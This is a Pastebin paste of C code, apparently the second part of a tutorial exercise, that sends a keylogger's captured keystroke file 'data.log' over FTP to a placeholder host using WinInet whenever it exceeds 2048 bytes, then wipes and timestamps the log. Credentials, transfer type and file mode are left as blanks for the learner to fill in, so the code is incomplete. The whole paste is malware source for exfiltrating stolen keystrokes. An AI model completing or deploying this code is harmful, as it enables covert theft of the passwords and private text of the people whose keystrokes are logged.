Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <stdio.h>
- #include <wininet.h>
- #include <time.h>
- /*Part 2
- Sending logs
- fill in the missing details using
- http://msdn.microsoft.com/en-us/library/aa384180%28VS.85%29.aspx
- find the linker compile flag for wininet wont compile without it
- Use program flow provided and update main function accordingly.
- */
- int SendLogs();
- int TimeStamp();
- extern FILE *out_file;
- /*Declare Time Variables*/
- struct tm *local;
- time_t t;
- /*Send Logs over FTP using wininet*/
- int SendLogs()
- {
- t = time(NULL);
- local = localtime(&t);
- HINTERNET hInternet;
- HINTERNET hConnect;
- HINTERNET lRes;
- bool pass;
- hInternet = InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);
- hConnect = InternetConnect(hInternet,"<ftphost>",INTERNET_DEFAULT_FTP_PORT,"what goes here?", "what goes here?", INTERNET_SERVICE_FTP,0,0);
- pass = FtpPutFile(hConnect,"data.log",asctime(local),/*Find correct transfer type*/,0);
- InternetCloseHandle(hConnect);
- InternetCloseHandle(hInternet);
- if(pass==false)return 1; //If send fails, it will loop again, Not clearing the Log
- TimeStamp(); // If sends start new log with Time Stamp
- return 0;
- }
- /*Send on file size > 2048 Bytes (~1page) */
- int CheckSize()
- {
- int size;
- out_file = fopen("data.log","<how should we open this??>");
- fseek(out_file, 0L, SEEK_END);
- size = ftell(out_file);
- fseek(out_file, 0L, SEEK_SET);
- fclose(out_file);
- if (size > 2048)
- {
- SendLogs();
- return 1; //debugging will stop keylogger after 1 send
- }
- return 0;
- }
- /*Time Stamps Log file, and Clears Current Content */
- int TimeStamp()
- {
- t = time(NULL);
- local = localtime(&t);
- out_file=fopen("data.log", "w+");
- fputs("------Start Logging Time ------\n", out_file);
- fputs(asctime(local), out_file);
- fputs("-------------------------------\n\n", out_file);
- fclose(out_file);
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement